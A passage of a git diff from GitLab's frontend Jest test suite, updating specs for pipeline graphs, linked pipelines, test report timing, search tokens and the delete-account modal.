+ expect(findPipelineLink().attributes('href')).toBe(mockData.triggered_by.path);
+ });
+
+ it('upstream pipeline should contain the correct link', () => {
+ createWrapper(upstreamProps);
+ expect(findPipelineLink().attributes('href')).toBe(mockData.triggered_by.path);
+ });
+
+ it.each`
+ presentClass | missingClass
+ ${'gl-right-0'} | ${'gl-left-0'}
+ ${'gl-border-l-1!'} | ${'gl-border-r-1!'}
+ `(
+ 'pipeline expand button should be postioned right when child pipeline',
+ ({ presentClass, missingClass }) => {
+ createWrapper(downstreamProps);
+ expect(findExpandButton().classes()).toContain(presentClass);
+ expect(findExpandButton().classes()).not.toContain(missingClass);
+ },
+ );
+
+ it.each`
+ presentClass | missingClass
+ ${'gl-left-0'} | ${'gl-right-0'}
+ ${'gl-border-r-1!'} | ${'gl-border-l-1!'}
+ `(
+ 'pipeline expand button should be postioned left when parent pipeline',
+ ({ presentClass, missingClass }) => {
+ createWrapper(upstreamProps);
+ expect(findExpandButton().classes()).toContain(presentClass);
+ expect(findExpandButton().classes()).not.toContain(missingClass);
+ },
+ );
+
+ it.each`
+ pipelineType | anglePosition | expanded
+ ${downstreamProps} | ${'angle-right'} | ${false}
+ ${downstreamProps} | ${'angle-left'} | ${true}
+ ${upstreamProps} | ${'angle-left'} | ${false}
+ ${upstreamProps} | ${'angle-right'} | ${true}
+ `(
+ '$pipelineType.columnTitle pipeline button icon should be $anglePosition if expanded state is $expanded',
+ ({ pipelineType, anglePosition, expanded }) => {
+ createWrapper(pipelineType, { expanded });
+ expect(findExpandButton().props('icon')).toBe(anglePosition);
+ },
+ );
});
describe('when isLoading is true', () => {
@@ -130,8 +188,8 @@ describe('Linked pipeline', () => {
createWrapper(props);
});
- it('sets the loading prop to true', () => {
- expect(findButton().props('loading')).toBe(true);
+ it('loading icon is visible', () => {
+ expect(findLoadingIcon().exists()).toBe(true);
});
});
@@ -172,5 +230,10 @@ describe('Linked pipeline', () => {
findLinkedPipeline().trigger('mouseleave');
expect(wrapper.emitted().downstreamHovered).toStrictEqual([['']]);
});
+
+ it('should emit pipelineExpanded with job name and expanded state on click', () => {
+ findExpandButton().trigger('click');
+ expect(wrapper.emitted().pipelineExpandToggle).toStrictEqual([['trigger_job', true]]);
+ });
});
});
diff --git a/spec/frontend/pipelines/pipeline_graph/gitlab_ci_yaml_visualization_spec.js b/spec/frontend/pipelines/pipeline_graph/gitlab_ci_yaml_visualization_spec.js
new file mode 100644
index 00000000000..fea42350959
--- /dev/null
+++ b/spec/frontend/pipelines/pipeline_graph/gitlab_ci_yaml_visualization_spec.js
@@ -0,0 +1,47 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlTab } from '@gitlab/ui';
+import { yamlString } from './mock_data';
+import PipelineGraph from '~/pipelines/components/pipeline_graph/pipeline_graph.vue';
+import GitlabCiYamlVisualization from '~/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue';
+
+describe('gitlab yaml visualization component', () => {
+ const defaultProps = { blobData: yamlString };
+ let wrapper;
+
+ const createComponent = props => {
+ return shallowMount(GitlabCiYamlVisualization, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ const findGlTabComponents = () => wrapper.findAll(GlTab);
+ const findPipelineGraph = () => wrapper.find(PipelineGraph);
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('tabs component', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ it('renders the file and visualization tabs', () => {
+ expect(findGlTabComponents()).toHaveLength(2);
+ });
+ });
+
+ describe('graph component', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ it('is hidden by default', () => {
+ expect(findPipelineGraph().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/pipelines/pipeline_graph/mock_data.js b/spec/frontend/pipelines/pipeline_graph/mock_data.js
new file mode 100644
index 00000000000..5a5d6c021a6
--- /dev/null
+++ b/spec/frontend/pipelines/pipeline_graph/mock_data.js
@@ -0,0 +1,80 @@
+export const yamlString = `stages:
+- empty
+- build
+- test
+- deploy
+- final
+
+include:
+- template: 'Workflows/MergeRequest-Pipelines.gitlab-ci.yml'
+
+build_a:
+ stage: build
+ script: echo hello
+build_b:
+ stage: build
+ script: echo hello
+build_c:
+ stage: build
+ script: echo hello
+build_d:
+ stage: Queen
+ script: echo hello
+
+test_a:
+ stage: test
+ script: ls
+ needs: [build_a, build_b, build_c]
+test_b:
+ stage: test
+ script: ls
+ needs: [build_a, build_b, build_d]
+test_c:
+ stage: test
+ script: ls
+ needs: [build_a, build_b, build_c]
+
+deploy_a:
+ stage: deploy
+ script: echo hello
+`;
+
+export const pipelineData = {
+ stages: [
+ {
+ name: 'build',
+ groups: [],
+ },
+ {
+ name: 'build',
+ groups: [
+ {
+ name: 'build_1',
+ jobs: [{ script: 'echo hello', stage: 'build' }],
+ },
+ ],
+ },
+ {
+ name: 'test',
+ groups: [
+ {
+ name: 'test_1',
+ jobs: [{ script: 'yarn test', stage: 'test' }],
+ },
+ {
+ name: 'test_2',
+ jobs: [{ script: 'yarn karma', stage: 'test' }],
+ },
+ ],
+ },
+ {
+ name: 'deploy',
+ groups: [
+ {
+ name: 'deploy_1',
+ jobs: [{ script: 'yarn magick', stage: 'deploy' }],
+ },
+ ],
+ },
+ ],
+};
diff --git a/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js b/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
new file mode 100644
index 00000000000..30e192e5726
--- /dev/null
+++ b/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
@@ -0,0 +1,59 @@
+import { shallowMount } from '@vue/test-utils';
+import { pipelineData } from './mock_data';
+import PipelineGraph from '~/pipelines/components/pipeline_graph/pipeline_graph.vue';
+import StagePill from '~/pipelines/components/pipeline_graph/stage_pill.vue';
+import JobPill from '~/pipelines/components/pipeline_graph/job_pill.vue';
+
+describe('pipeline graph component', () => {
+ const defaultProps = { pipelineData };
+ let wrapper;
+
+ const createComponent = props => {
+ return shallowMount(PipelineGraph, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ const findAllStagePills = () => wrapper.findAll(StagePill);
+ const findAllJobPills = () => wrapper.findAll(JobPill);
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('with no data', () => {
+ beforeEach(() => {
+ wrapper = createComponent({ pipelineData: {} });
+ });
+
+ it('renders an empty section', () => {
+ expect(wrapper.text()).toContain('No content to show');
+ expect(findAllStagePills()).toHaveLength(0);
+ expect(findAllJobPills()).toHaveLength(0);
+ });
+ });
+
+ describe('with data', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+ it('renders the right number of stage pills', () => {
+ const expectedStagesLength = pipelineData.stages.length;
+
+ expect(findAllStagePills()).toHaveLength(expectedStagesLength);
+ });
+
+ it('renders the right number of job pills', () => {
+ // We count the number of jobs in the mock data
+ const expectedJobsLength = pipelineData.stages.reduce((acc, val) => {
+ return acc + val.groups.length;
+ }, 0);
+
+ expect(findAllJobPills()).toHaveLength(expectedJobsLength);
+ });
+ });
+});
diff --git a/spec/frontend/pipelines/pipeline_graph/utils_spec.js b/spec/frontend/pipelines/pipeline_graph/utils_spec.js
new file mode 100644
index 00000000000..dd85c8c2bd0
--- /dev/null
+++ b/spec/frontend/pipelines/pipeline_graph/utils_spec.js
@@ -0,0 +1,150 @@
+import { preparePipelineGraphData } from '~/pipelines/utils';
+
+describe('preparePipelineGraphData', () => {
+ const emptyResponse = { stages: [] };
+ const jobName1 = 'build_1';
+ const jobName2 = 'build_2';
+ const jobName3 = 'test_1';
+ const jobName4 = 'deploy_1';
+ const job1 = { [jobName1]: { script: 'echo hello', stage: 'build' } };
+ const job2 = { [jobName2]: { script: 'echo build', stage: 'build' } };
+ const job3 = { [jobName3]: { script: 'echo test', stage: 'test' } };
+ const job4 = { [jobName4]: { script: 'echo deploy', stage: 'deploy' } };
+
+ describe('returns an object with an empty array of stages if', () => {
+ it('no data is passed', () => {
+ expect(preparePipelineGraphData({})).toEqual(emptyResponse);
+ });
+
+ it('no stages are found', () => {
+ expect(preparePipelineGraphData({ includes: 'template/myTemplate.gitlab-ci.yml' })).toEqual(
+ emptyResponse,
+ );
+ });
+ });
+
+ describe('returns the correct array of stages', () => {
+ it('when multiple jobs are in the same stage', () => {
+ const expectedData = {
+ stages: [
+ {
+ name: job1[jobName1].stage,
+ groups: [
+ {
+ name: jobName1,
+ jobs: [{ script: job1[jobName1].script, stage: job1[jobName1].stage }],
+ },
+ {
+ name: jobName2,
+ jobs: [{ script: job2[jobName2].script, stage: job2[jobName2].stage }],
+ },
+ ],
+ },
+ ],
+ };
+
+ expect(preparePipelineGraphData({ ...job1, ...job2 })).toEqual(expectedData);
+ });
+
+ it('when stages are defined by the user', () => {
+ const userDefinedStage = 'myStage';
+ const userDefinedStage2 = 'myStage2';
+
+ const expectedData = {
+ stages: [
+ {
+ name: userDefinedStage,
+ groups: [],
+ },
+ {
+ name: userDefinedStage2,
+ groups: [],
+ },
+ ],
+ };
+
+ expect(preparePipelineGraphData({ stages: [userDefinedStage, userDefinedStage2] })).toEqual(
+ expectedData,
+ );
+ });
+
+ it('by combining user defined stage and job stages, it preserves user defined order', () => {
+ const userDefinedStage = 'myStage';
+ const userDefinedStageThatOverlaps = 'deploy';
+
+ const expectedData = {
+ stages: [
+ {
+ name: userDefinedStage,
+ groups: [],
+ },
+ {
+ name: job4[jobName4].stage,
+ groups: [
+ {
+ name: jobName4,
+ jobs: [{ script: job4[jobName4].script, stage: job4[jobName4].stage }],
+ },
+ ],
+ },
+ {
+ name: job1[jobName1].stage,
+ groups: [
+ {
+ name: jobName1,
+ jobs: [{ script: job1[jobName1].script, stage: job1[jobName1].stage }],
+ },
+ {
+ name: jobName2,
+ jobs: [{ script: job2[jobName2].script, stage: job2[jobName2].stage }],
+ },
+ ],
+ },
+ {
+ name: job3[jobName3].stage,
+ groups: [
+ {
+ name: jobName3,
+ jobs: [{ script: job3[jobName3].script, stage: job3[jobName3].stage }],
+ },
+ ],
+ },
+ ],
+ };
+
+ expect(
+ preparePipelineGraphData({
+ stages: [userDefinedStage, userDefinedStageThatOverlaps],
+ ...job1,
+ ...job2,
+ ...job3,
+ ...job4,
+ }),
+ ).toEqual(expectedData);
+ });
+
+ it('with only unique values', () => {
+ const expectedData = {
+ stages: [
+ {
+ name: job1[jobName1].stage,
+ groups: [
+ {
+ name: jobName1,
+ jobs: [{ script: job1[jobName1].script, stage: job1[jobName1].stage }],
+ },
+ ],
+ },
+ ],
+ };
+
+ expect(
+ preparePipelineGraphData({
+ stages: ['build'],
+ ...job1,
+ ...job1,
+ }),
+ ).toEqual(expectedData);
+ });
+ });
+});
diff --git a/spec/frontend/pipelines/pipeline_triggerer_spec.js b/spec/frontend/pipelines/pipeline_triggerer_spec.js
index 6fd9a143d82..ad8136890e6 100644
--- a/spec/frontend/pipelines/pipeline_triggerer_spec.js
+++ b/spec/frontend/pipelines/pipeline_triggerer_spec.js
@@ -36,7 +36,7 @@ describe('Pipelines Triggerer', () => {
});
it('should render a table cell', () => {
- expect(wrapper.contains('.table-section')).toBe(true);
+ expect(wrapper.find('.table-section').exists()).toBe(true);
});
it('should pass triggerer information when triggerer is provided', () => {
diff --git a/spec/frontend/pipelines/pipelines_actions_spec.js b/spec/frontend/pipelines/pipelines_actions_spec.js
index cce4c2dfa7b..071a2b24889 100644
--- a/spec/frontend/pipelines/pipelines_actions_spec.js
+++ b/spec/frontend/pipelines/pipelines_actions_spec.js
@@ -1,7 +1,7 @@
import { shallowMount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import { TEST_HOST } from 'spec/test_constants';
-import { GlDeprecatedButton } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
import waitForPromises from 'helpers/wait_for_promises';
import axios from '~/lib/utils/axios_utils';
import PipelinesActions from '~/pipelines/components/pipelines_list/pipelines_actions.vue';
@@ -19,7 +19,7 @@ describe('Pipelines Actions dropdown', () => {
});
};
- const findAllDropdownItems = () => wrapper.findAll(GlDeprecatedButton);
+ const findAllDropdownItems = () => wrapper.findAll(GlButton);
const findAllCountdowns = () => wrapper.findAll(GlCountdown);
beforeEach(() => {
@@ -66,7 +66,7 @@ describe('Pipelines Actions dropdown', () => {
it('makes a request and toggles the loading state', () => {
mock.onPost(mockActions.path).reply(200);
- wrapper.find(GlDeprecatedButton).vm.$emit('click');
+ wrapper.find(GlButton).vm.$emit('click');
expect(wrapper.vm.isLoading).toBe(true);
diff --git a/spec/frontend/pipelines/test_reports/stores/getters_spec.js b/spec/frontend/pipelines/test_reports/stores/getters_spec.js
index ca9ebb54138..58e8065033f 100644
--- a/spec/frontend/pipelines/test_reports/stores/getters_spec.js
+++ b/spec/frontend/pipelines/test_reports/stores/getters_spec.js
@@ -1,6 +1,6 @@
import { getJSONFixture } from 'helpers/fixtures';
import * as getters from '~/pipelines/stores/test_reports/getters';
-import { iconForTestStatus } from '~/pipelines/stores/test_reports/utils';
+import { iconForTestStatus, formattedTime } from '~/pipelines/stores/test_reports/utils';
describe('Getters TestReports Store', () => {
let state;
@@ -34,7 +34,7 @@ describe('Getters TestReports Store', () => {
const suites = getters.getTestSuites(state);
const expected = testReports.test_suites.map(x => ({
...x,
- formattedTime: '00:00:00',
+ formattedTime: formattedTime(x.total_time),
}));
expect(suites).toEqual(expected);
@@ -65,7 +65,7 @@ describe('Getters TestReports Store', () => {
const cases = getters.getSuiteTests(state);
const expected = testReports.test_suites[0].test_cases.map(x => ({
...x,
- formattedTime: '00:00:00',
+ formattedTime: formattedTime(x.execution_time),
icon: iconForTestStatus(x.status),
}));
diff --git a/spec/frontend/pipelines/test_reports/stores/utils_spec.js b/spec/frontend/pipelines/test_reports/stores/utils_spec.js
new file mode 100644
index 00000000000..7e632d099fc
--- /dev/null
+++ b/spec/frontend/pipelines/test_reports/stores/utils_spec.js
@@ -0,0 +1,26 @@
+import { formattedTime } from '~/pipelines/stores/test_reports/utils';
+
+describe('Test reports utils', () => {
+ describe('formattedTime', () => {
+ describe('when time is smaller than a second', () => {
+ it('should return time in milliseconds fixed to 2 decimals', () => {
+ const result = formattedTime(0.4815162342);
+ expect(result).toBe('481.52ms');
+ });
+ });
+
+ describe('when time is equal to a second', () => {
+ it('should return time in seconds fixed to 2 decimals', () => {
+ const result = formattedTime(1);
+ expect(result).toBe('1.00s');
+ });
+ });
+
+ describe('when time is greater than a second', () => {
+ it('should return time in seconds fixed to 2 decimals', () => {
+ const result = formattedTime(4.815162342);
+ expect(result).toBe('4.82s');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/pipelines/test_reports/test_reports_spec.js b/spec/frontend/pipelines/test_reports/test_reports_spec.js
index a709edf5184..c8ab18b9086 100644
--- a/spec/frontend/pipelines/test_reports/test_reports_spec.js
+++ b/spec/frontend/pipelines/test_reports/test_reports_spec.js
@@ -1,4 +1,5 @@
import Vuex from 'vuex';
+import { GlLoadingIcon } from '@gitlab/ui';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import { getJSONFixture } from 'helpers/fixtures';
import TestReports from '~/pipelines/components/test_reports/test_reports.vue';
@@ -15,9 +16,9 @@ describe('Test reports app', () => {
const testReports = getJSONFixture('pipelines/test_report.json');
- const loadingSpinner = () => wrapper.find('.js-loading-spinner');
- const testsDetail = () => wrapper.find('.js-tests-detail');
- const noTestsToShow = () => wrapper.find('.js-no-tests-to-show');
+ const loadingSpinner = () => wrapper.find(GlLoadingIcon);
+ const testsDetail = () => wrapper.find('[data-testid="tests-detail"]');
+ const noTestsToShow = () => wrapper.find('[data-testid="no-tests-to-show"]');
const testSummary = () => wrapper.find(TestSummary);
const testSummaryTable = () => wrapper.find(TestSummaryTable);
@@ -88,6 +89,10 @@ describe('Test reports app', () => {
expect(wrapper.vm.testReports).toBeTruthy();
expect(wrapper.vm.showTests).toBeTruthy();
});
+
+ it('shows tests details', () => {
+ expect(testsDetail().exists()).toBe(true);
+ });
});
describe('when a suite is clicked', () => {
diff --git a/spec/frontend/pipelines/test_reports/test_suite_table_spec.js b/spec/frontend/pipelines/test_reports/test_suite_table_spec.js
index 3a4aa94571e..2feb6aa5799 100644
--- a/spec/frontend/pipelines/test_reports/test_suite_table_spec.js
+++ b/spec/frontend/pipelines/test_reports/test_suite_table_spec.js
@@ -23,8 +23,6 @@ describe('Test reports suite table', () => {
const noCasesMessage = () => wrapper.find('.js-no-test-cases');
const allCaseRows = () => wrapper.findAll('.js-case-row');
const findCaseRowAtIndex = index => wrapper.findAll('.js-case-row').at(index);
- const allCaseNames = () =>
- wrapper.findAll('[data-testid="caseName"]').wrappers.map(el => el.attributes('text'));
const findIconForRow = (row, status) => row.find(`.ci-status-icon-${status}`);
const createComponent = (suite = testSuite) => {
@@ -63,16 +61,6 @@ describe('Test reports suite table', () => {
expect(allCaseRows().length).toBe(testCases.length);
});
- it('renders the failed tests first, skipped tests next, then successful tests', () => {
- const expectedCaseOrder = [
- ...testCases.filter(x => x.status === TestStatus.FAILED),
- ...testCases.filter(x => x.status === TestStatus.SKIPPED),
- ...testCases.filter(x => x.status === TestStatus.SUCCESS),
- ].map(x => x.name);
-
- expect(allCaseNames()).toEqual(expectedCaseOrder);
- });
-
it('renders the correct icon for each status', () => {
const failedTest = testCases.findIndex(x => x.status === TestStatus.FAILED);
const skippedTest = testCases.findIndex(x => x.status === TestStatus.SKIPPED);
diff --git a/spec/frontend/pipelines/test_reports/test_summary_spec.js b/spec/frontend/pipelines/test_reports/test_summary_spec.js
index 79be6c168cf..dc5af7b160c 100644
--- a/spec/frontend/pipelines/test_reports/test_summary_spec.js
+++ b/spec/frontend/pipelines/test_reports/test_summary_spec.js
@@ -1,6 +1,7 @@
import { mount } from '@vue/test-utils';
import { getJSONFixture } from 'helpers/fixtures';
import Summary from '~/pipelines/components/test_reports/test_summary.vue';
+import { formattedTime } from '~/pipelines/stores/test_reports/utils';
describe('Test reports summary', () => {
let wrapper;
@@ -76,7 +77,7 @@ describe('Test reports summary', () => {
});
it('displays the correctly formatted duration', () => {
- expect(duration().text()).toBe('00:00:00');
+ expect(duration().text()).toBe(formattedTime(testSuite.total_time));
});
});
diff --git a/spec/frontend/pipelines/time_ago_spec.js b/spec/frontend/pipelines/time_ago_spec.js
index 04934fb93b0..b7bc8d08a0f 100644
--- a/spec/frontend/pipelines/time_ago_spec.js
+++ b/spec/frontend/pipelines/time_ago_spec.js
@@ -1,4 +1,5 @@
import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import TimeAgo from '~/pipelines/components/pipelines_list/time_ago.vue';
describe('Timeago component', () => {
@@ -22,14 +23,19 @@ describe('Timeago component', () => {
wrapper = null;
});
+ const duration = () => wrapper.find('.duration');
+ const finishedAt = () => wrapper.find('.finished-at');
+
describe('with duration', () => {
beforeEach(() => {
createComponent({ duration: 10, finishedTime: '' });
});
it('should render duration and timer svg', () => {
- expect(wrapper.find('.duration').exists()).toBe(true);
- expect(wrapper.find('.duration svg').exists()).toBe(true);
+ const icon = duration().find(GlIcon);
+
+ expect(duration().exists()).toBe(true);
+ expect(icon.props('name')).toBe('timer');
});
});
@@ -39,7 +45,7 @@ describe('Timeago component', () => {
});
it('should not render duration and timer svg', () => {
- expect(wrapper.find('.duration').exists()).toBe(false);
+ expect(duration().exists()).toBe(false);
});
});
@@ -49,9 +55,12 @@ describe('Timeago component', () => {
});
it('should render time and calendar icon', () => {
- expect(wrapper.find('.finished-at').exists()).toBe(true);
- expect(wrapper.find('.finished-at i.fa-calendar').exists()).toBe(true);
- expect(wrapper.find('.finished-at time').exists()).toBe(true);
+ const icon = finishedAt().find(GlIcon);
+ const time = finishedAt().find('time');
+
+ expect(finishedAt().exists()).toBe(true);
+ expect(icon.props('name')).toBe('calendar');
+ expect(time.exists()).toBe(true);
});
});
@@ -61,7 +70,7 @@ describe('Timeago component', () => {
});
it('should not render time and calendar icon', () => {
- expect(wrapper.find('.finished-at').exists()).toBe(false);
+ expect(finishedAt().exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/pipelines/tokens/pipeline_status_token_spec.js b/spec/frontend/pipelines/tokens/pipeline_status_token_spec.js
index 096e4cd97f6..b53955ab743 100644
--- a/spec/frontend/pipelines/tokens/pipeline_status_token_spec.js
+++ b/spec/frontend/pipelines/tokens/pipeline_status_token_spec.js
@@ -5,16 +5,17 @@ import PipelineStatusToken from '~/pipelines/components/pipelines_list/tokens/pi
describe('Pipeline Status Token', () => {
let wrapper;
- const findFilteredSearchToken = () => wrapper.find(GlFilteredSearchToken);
- const findAllFilteredSearchSuggestions = () => wrapper.findAll(GlFilteredSearchSuggestion);
- const findAllGlIcons = () => wrapper.findAll(GlIcon);
-
const stubs = {
GlFilteredSearchToken: {
+ props: GlFilteredSearchToken.props,
template: `<div><slot name="suggestions"></slot></div>`,
},
};
+ const findFilteredSearchToken = () => wrapper.find(stubs.GlFilteredSearchToken);
+ const findAllFilteredSearchSuggestions = () => wrapper.findAll(GlFilteredSearchSuggestion);
+ const findAllGlIcons = () => wrapper.findAll(GlIcon);
+
const defaultProps = {
config: {
type: 'status',
@@ -27,12 +28,12 @@ describe('Pipeline Status Token', () => {
},
};
- const createComponent = options => {
+ const createComponent = () => {
wrapper = shallowMount(PipelineStatusToken, {
propsData: {
...defaultProps,
},
- ...options,
+ stubs,
});
};
@@ -50,10 +51,6 @@ describe('Pipeline Status Token', () => {
});
describe('shows statuses correctly', () => {
- beforeEach(() => {
- createComponent({ stubs });
- });
-
it('renders all pipeline statuses available', () => {
expect(findAllFilteredSearchSuggestions()).toHaveLength(wrapper.vm.statuses.length);
expect(findAllGlIcons()).toHaveLength(wrapper.vm.statuses.length);
diff --git a/spec/frontend/pipelines/tokens/pipeline_trigger_author_token_spec.js b/spec/frontend/pipelines/tokens/pipeline_trigger_author_token_spec.js
index c95d2ea1b7b..9363944a719 100644
--- a/spec/frontend/pipelines/tokens/pipeline_trigger_author_token_spec.js
+++ b/spec/frontend/pipelines/tokens/pipeline_trigger_author_token_spec.js
@@ -7,16 +7,17 @@ import { users } from '../mock_data';
describe('Pipeline Trigger Author Token', () => {
let wrapper;
- const findFilteredSearchToken = () => wrapper.find(GlFilteredSearchToken);
- const findAllFilteredSearchSuggestions = () => wrapper.findAll(GlFilteredSearchSuggestion);
- const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
-
const stubs = {
GlFilteredSearchToken: {
+ props: GlFilteredSearchToken.props,
template: `<div><slot name="suggestions"></slot></div>`,
},
};
+ const findFilteredSearchToken = () => wrapper.find(stubs.GlFilteredSearchToken);
+ const findAllFilteredSearchSuggestions = () => wrapper.findAll(GlFilteredSearchSuggestion);
+ const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
+
const defaultProps = {
config: {
type: 'username',
@@ -31,7 +32,7 @@ describe('Pipeline Trigger Author Token', () => {
},
};
- const createComponent = (options, data) => {
+ const createComponent = data => {
wrapper = shallowMount(PipelineTriggerAuthorToken, {
propsData: {
...defaultProps,
@@ -41,7 +42,7 @@ describe('Pipeline Trigger Author Token', () => {
...data,
};
},
- ...options,
+ stubs,
});
};
@@ -69,13 +70,13 @@ describe('Pipeline Trigger Author Token', () => {
describe('displays loading icon correctly', () => {
it('shows loading icon', () => {
- createComponent({ stubs }, { loading: true });
+ createComponent({ loading: true });
expect(findLoadingIcon().exists()).toBe(true);
});
it('does not show loading icon', () => {
- createComponent({ stubs }, { loading: false });
+ createComponent({ loading: false });
expect(findLoadingIcon().exists()).toBe(false);
});
@@ -85,22 +86,17 @@ describe('Pipeline Trigger Author Token', () => {
beforeEach(() => {});
it('renders all trigger authors', () => {
- createComponent({ stubs }, { users, loading: false });
+ createComponent({ users, loading: false });
// should have length of all users plus the static 'Any' option
expect(findAllFilteredSearchSuggestions()).toHaveLength(users.length + 1);
});
it('renders only the trigger author searched for', () => {
- createComponent(
- { stubs },
- {
- users: [
- { name: 'Arnold', username: 'admin', state: 'active', avatar_url: 'avatar-link' },
- ],
- loading: false,
- },
- );
+ createComponent({
+ users: [{ name: 'Arnold', username: 'admin', state: 'active', avatar_url: 'avatar-link' }],
+ loading: false,
+ });
expect(findAllFilteredSearchSuggestions()).toHaveLength(2);
});
diff --git a/spec/frontend/profile/account/components/delete_account_modal_spec.js b/spec/frontend/profile/account/components/delete_account_modal_spec.js
index 4da82152818..7834456f7c4 100644
--- a/spec/frontend/profile/account/components/delete_account_modal_spec.js
+++ b/spec/frontend/profile/account/components/delete_account_modal_spec.js
@@ -1,21 +1,49 @@
import Vue from 'vue';
import { TEST_HOST } from 'helpers/test_constants';
-import mountComponent from 'helpers/vue_mount_component_helper';
+import { merge } from 'lodash';
+import { mount } from '@vue/test-utils';
import deleteAccountModal from '~/profile/account/components/delete_account_modal.vue';
+const GlModalStub = {
+ name: 'gl-modal-stub',
+ template: `
+ <div>
+ <slot></slot>
+ </div>
+ `,
+};
+
describe('DeleteAccountModal component', () => {
const actionUrl = `${TEST_HOST}/delete/user`;
const username = 'hasnoname';
- let Component;
+ let wrapper;
let vm;
- beforeEach(() => {
- Component = Vue.extend(deleteAccountModal);
- });
+ const createWrapper = (options = {}) => {
+ wrapper = mount(
+ deleteAccountModal,
+ merge(
+ {},
+ {
+ propsData: {
+ actionUrl,
+ username,
+ },
+ stubs: {
+ GlModal: GlModalStub,
+ },
+ },
+ options,
+ ),
+ );
+ vm = wrapper.vm;
+ };
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
+ wrapper = null;
+ vm = null;
});
const findElements = () => {
@@ -23,16 +51,16 @@ describe('DeleteAccountModal component', () => {
return {
form: vm.$refs.form,
input: vm.$el.querySelector(`[name="${confirmation}"]`),
- submitButton: vm.$el.querySelector('.btn-danger'),
};
};
+ const findModal = () => wrapper.find(GlModalStub);
describe('with password confirmation', () => {
beforeEach(done => {
- vm = mountComponent(Component, {
- actionUrl,
- confirmWithPassword: true,
- username,
+ createWrapper({
+ propsData: {
+ confirmWithPassword: true,
+ },
});
vm.isOpen = true;
@@ -43,7 +71,7 @@ describe('DeleteAccountModal component', () => {
});
it('does not accept empty password', done => {
- const { form, input, submitButton } = findElements();
+ const { form, input } = findElements();
jest.spyOn(form, 'submit').mockImplementation(() => {});
input.value = '';
input.dispatchEvent(new Event('input'));
@@ -51,8 +79,8 @@ describe('DeleteAccountModal component', () => {
Vue.nextTick()
.then(() => {
expect(vm.enteredPassword).toBe(input.value);
- expect(submitButton).toHaveAttr('disabled', 'disabled');
- submitButton.click();
+ expect(findModal().attributes('ok-disabled')).toBe('true');
+ findModal().vm.$emit('primary');
expect(form.submit).not.toHaveBeenCalled();
})
@@ -61,7 +89,7 @@ describe('DeleteAccountModal component', () => {
});
it('submits form with password', done => {
- const { form, input, submitButton } = findElements();
+ const { form, input } = findElements();
jest.spyOn(form, 'submit').mockImplementation(() => {});
input.value = 'anything';
input.dispatchEvent(new Event('input'));
@@ -69,8 +97,8 @@ describe('DeleteAccountModal component', () => {
Vue.nextTick()
.then(() => {
expect(vm.enteredPassword).toBe(input.value);
- expect(submitButton).not.toHaveAttr('disabled', 'disabled');
- submitButton.click();
+ expect(findModal().attributes('ok-disabled')).toBeUndefined();
+ findModal().vm.$emit('primary');
expect(form.submit).toHaveBeenCalled();
})
@@ -81,10 +109,10 @@ describe('DeleteAccountModal component', () => {
describe('with username confirmation', () => {
beforeEach(done => {
- vm = mountComponent(Component, {
- actionUrl,
- confirmWithPassword: false,
- username,
+ createWrapper({
+ propsData: {
+ confirmWithPassword: false,
+ },
});
vm.isOpen = true;
@@ -95,7 +123,7 @@ describe('DeleteAccountModal component', () => {
});
it('does not accept wrong username', done => {
- const { form, input, submitButton } = findElements();
+ const { form, input } = findElements();
jest.spyOn(form, 'submit').mockImplementation(() => {});
input.value = 'this is wrong';
input.dispatchEvent(new Event('input'));
@@ -103,8 +131,8 @@ describe('DeleteAccountModal component', () => {
Vue.nextTick()
.then(() => {
expect(vm.enteredUsername).toBe(input.value);
- expect(submitButton).toHaveAttr('disabled', 'disabled');
- submitButton.click();
+ expect(findModal().attributes('ok-disabled')).toBe('true');
+ findModal().vm.$emit('primary');
expect(form.submit).not.toHaveBeenCalled();
})
@@ -113,7 +141,7 @@ describe('DeleteAccountModal component', () => {
});
it('submits form with correct username', done => {
- const { form, input, submitButton } = findElements();
+ const { form, input } = findElements();
jest.spyOn(form, 'submit').mockImplementation(() => {});
input.value = username;
input.dispatchEvent(new Event('input'));
@@ -121,8 +149,8 @@ describe('DeleteAccountModal component', () => {
Vue.nextTick()
.then(() => {
expect(vm.enteredUsername).toBe(input.value);
- expect(submitButton).not.toHaveAttr('disabled', 'disabled');
- submitButton.click();
+ expect(findModal().attributes('ok-disabled')).toBeUndefined();
+ findModal().vm.$emit('primary');
expect(form.submit).toHaveBeenCalled();
})
diff --git a/spec/frontend/projects/commits/components/author_select_spec.js b/spec/frontend/projects/commits/components/author_select_spec.js
index d6fac6f5f79..68c285a4097 100644
--- a/spec/frontend/projects/commits/components/author_select_spec.js
+++ b/spec/frontend/projects/commits/components/author_select_spec.js
@@ -1,11 +1,6 @@
import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
-import {
- GlNewDropdown,
- GlNewDropdownHeader,
- GlSearchBoxByType,
- GlNewDropdownItem,
-} from '@gitlab/ui';
+import { GlDropdown, GlDropdownSectionHeader, GlSearchBoxByType, GlDropdownItem } from '@gitlab/ui';
import * as urlUtility from '~/lib/utils/url_utility';
import AuthorSelect from '~/projects/commits/components/author_select.vue';
import { createStore } from '~/projects/commits/store';
@@ -63,10 +58,10 @@ describe('Author Select', () => {
});
